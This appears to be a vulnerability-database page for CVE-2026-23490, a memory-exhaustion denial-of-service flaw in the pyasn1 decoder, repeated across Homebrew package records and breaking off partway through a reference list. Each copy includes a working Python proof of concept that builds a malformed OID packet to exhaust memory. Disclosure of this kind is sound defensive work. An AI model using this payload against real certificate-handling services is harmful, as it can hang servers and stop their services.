      "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
      "id": "BREW-mcp-google-sheets-CVE-2026-23490",
      "modified": "2026-10-31T19:04:08Z",
      "published": "2026-08-13T17:13:13Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4148"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4147"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4146"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4145"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4144"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4143"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4142"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4141"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4140"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4139"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:39894"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3959"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3958"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2302"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:42644"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4943"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:54757"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:5606"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
        },
        {
          "type": "WEB",
          "url": "https://pypi.org/project/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2300"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2299"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2221"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1906"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1905"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1904"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1903"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17595"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17446"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3359"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3354"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:30088"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:28042"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2758"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24977"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24866"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2486"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2460"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2453"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24476"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2303"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has a DoS vulnerability in decoder",
      "upstream": [
        "GHSA-63vm-454h-vhhq",
        "CVE-2026-23490",
        "PYSEC-2026-1810"
      ]
    }

    BREW-MOLECULE-CVE-2026-23490 (GHSA-63VM-454H-VHHQ)

    Vulnerability from osv_homebrew – Published: 2026-08-13 17:14 – Updated: 2026-10-31 19:05 – Source website
    VLAI
    Summary
    pyasn1 has a DoS vulnerability in decoder
    Details

    Summary

    After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

    Details

    The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

    PoC

    For the DoS:

    import pyasn1.codec.ber.decoder as decoder
    import pyasn1.type.univ as univ
    import sys
    import resource
    
    # Deliberately set memory limit to display PoC
    try:
        resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
        print("[*] Memory limit set to 100MB")
    except:
        print("[-] Could not set memory limit")
    
    # Test with different payload sizes to find the DoS threshold
    payload_size_mb = int(sys.argv[1])
    
    print(f"[*] Testing with {payload_size_mb}MB payload...")
    
    payload_size = payload_size_mb * 1024 * 1024
    # Create payload with continuation octets
    # Each 0x81 byte indicates continuation, causing bit shifting in decoder
    payload = b'\x81' * payload_size + b'\x00'
    length = len(payload)
    
    # DER length encoding (supports up to 4GB)
    if length < 128:
        length_bytes = bytes([length])
    elif length < 256:
        length_bytes = b'\x81' + length.to_bytes(1, 'big')
    elif length < 256**2:
        length_bytes = b'\x82' + length.to_bytes(2, 'big')
    elif length < 256**3:
        length_bytes = b'\x83' + length.to_bytes(3, 'big')
    else:
        # 4 bytes can handle up to 4GB
        length_bytes = b'\x84' + length.to_bytes(4, 'big')
    
    # Use OID (0x06) for more aggressive parsing
    malicious_packet = b'\x06' + length_bytes + payload
    
    print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
    
    try:
        print("[*] Decoding (this may take time or exhaust memory)...")
        result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
    
        print(f'[+] Decoded successfully')
        print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
    
        # Try to convert to string
        print('[*] Converting to string...')
        try:
            str_result = str(result[0])
            print(f'[+] String succeeded: {len(str_result)} chars')
            if len(str_result) > 10000:
                print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
        except MemoryError:
            print(f'[-] MemoryError during string conversion!')
        except Exception as e:
            print(f'[-] {type(e).__name__} during string conversion')
    
    except MemoryError:
        print('[-] MemoryError: Out of memory!')
    except Exception as e:
        print(f'[-] Error: {type(e).__name__}: {e}')
    
    
    print("\n[*] Test completed")
    

    Screenshots with the results:

    DoS

    Screenshot_20251219_160840

    Screenshot_20251219_152815

    Leak analysis

    A potential heap leak was investigated but came back clean:

    [*] Creating 1000KB payload...
    [*] Decoding with pyasn1...
    [*] Materializing to string...
    [+] Decoded 2157784 characters
    [+] Binary representation: 896001 bytes
    [+] Dumped to heap_dump.bin
    
    [*] First 64 bytes (hex):
      01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
    
    [*] First 64 bytes (ASCII/hex dump):
      0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
      0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
      0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
      0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.
    
    [*] Digit distribution analysis:
      '0':  10.1%
      '1':   9.9%
      '2':  10.0%
      '3':   9.9%
      '4':   9.9%
      '5':  10.0%
      '6':  10.0%
      '7':  10.0%
      '8':   9.9%
      '9':  10.1%
    

    Scenario

    1. An attacker creates a malicious X.509 certificate.
    2. The application validates certificates.
    3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

    Impact

    This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

    Recommendation

    Add a limit to the allowed bytes in the decoder.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-23490 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/be353d755… WEB
    https://github.com/pyasn1/pyasn1/commit/3908f1442… WEB
    https://access.redhat.com/errata/RHSA-2026:4148 WEB
    https://access.redhat.com/errata/RHSA-2026:4147 WEB
    https://access.redhat.com/errata/RHSA-2026:4146 WEB
    https://access.redhat.com/errata/RHSA-2026:4145 WEB
    https://access.redhat.com/errata/RHSA-2026:4144 WEB
    https://access.redhat.com/errata/RHSA-2026:4143 WEB
    https://access.redhat.com/errata/RHSA-2026:4142 WEB
    https://access.redhat.com/errata/RHSA-2026:4141 WEB
    https://access.redhat.com/errata/RHSA-2026:4140 WEB
    https://access.redhat.com/errata/RHSA-2026:4139 WEB
    https://access.redhat.com/errata/RHSA-2026:4138 WEB
    https://access.redhat.com/errata/RHSA-2026:39894 WEB
    https://access.redhat.com/errata/RHSA-2026:3959 WEB
    https://access.redhat.com/errata/RHSA-2026:3958 WEB
    https://access.redhat.com/errata/RHSA-2026:2302 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:42644 WEB
    https://access.redhat.com/errata/RHSA-2026:4943 WEB
    https://access.redhat.com/errata/RHSA-2026:54757 WEB
    https://access.redhat.com/errata/RHSA-2026:5606 WEB
    https://access.redhat.com/security/cve/CVE-2026-23490 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2430472 WEB
    https://github.com/advisories/GHSA-63vm-454h-vhhq ADVISORY
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/blob/0f07d7242a7… WEB
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://pypi.org/project/pyasn1 WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:2300 WEB
    https://access.redhat.com/errata/RHSA-2026:2299 WEB
    https://access.redhat.com/errata/RHSA-2026:2221 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:1906 WEB
    https://access.redhat.com/errata/RHSA-2026:1905 WEB
    https://access.redhat.com/errata/RHSA-2026:1904 WEB
    https://access.redhat.com/errata/RHSA-2026:1903 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:17595 WEB
    https://access.redhat.com/errata/RHSA-2026:17446 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:3359 WEB
    https://access.redhat.com/errata/RHSA-2026:3354 WEB
    https://access.redhat.com/errata/RHSA-2026:30088 WEB
    https://access.redhat.com/errata/RHSA-2026:28042 WEB
    https://access.redhat.com/errata/RHSA-2026:2758 WEB
    https://access.redhat.com/errata/RHSA-2026:2712 WEB
    https://access.redhat.com/errata/RHSA-2026:24977 WEB
    https://access.redhat.com/errata/RHSA-2026:24866 WEB
    https://access.redhat.com/errata/RHSA-2026:2486 WEB
    https://access.redhat.com/errata/RHSA-2026:2483 WEB
    https://access.redhat.com/errata/RHSA-2026:2460 WEB
    https://access.redhat.com/errata/RHSA-2026:2453 WEB
    https://access.redhat.com/errata/RHSA-2026:24483 WEB
    https://access.redhat.com/errata/RHSA-2026:24476 WEB
    https://access.redhat.com/errata/RHSA-2026:2309 WEB
    https://access.redhat.com/errata/RHSA-2026:2303 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.2"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "molecule",
            "purl": "pkg:brew/molecule"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "25.7.0"
                },
                {
                  "fixed": "25.12.0_3"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
      "id": "BREW-molecule-CVE-2026-23490",
      "modified": "2026-10-31T19:05:35Z",
      "published": "2026-08-13T17:14:18Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4148"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4147"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4146"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4145"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4144"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4143"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4142"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4141"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4140"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4139"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:39894"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3959"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3958"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2302"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:42644"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4943"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:54757"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:5606"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
        },
        {
          "type": "WEB",
          "url": "https://pypi.org/project/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2300"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2299"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2221"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1906"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1905"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1904"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1903"
        },
        {
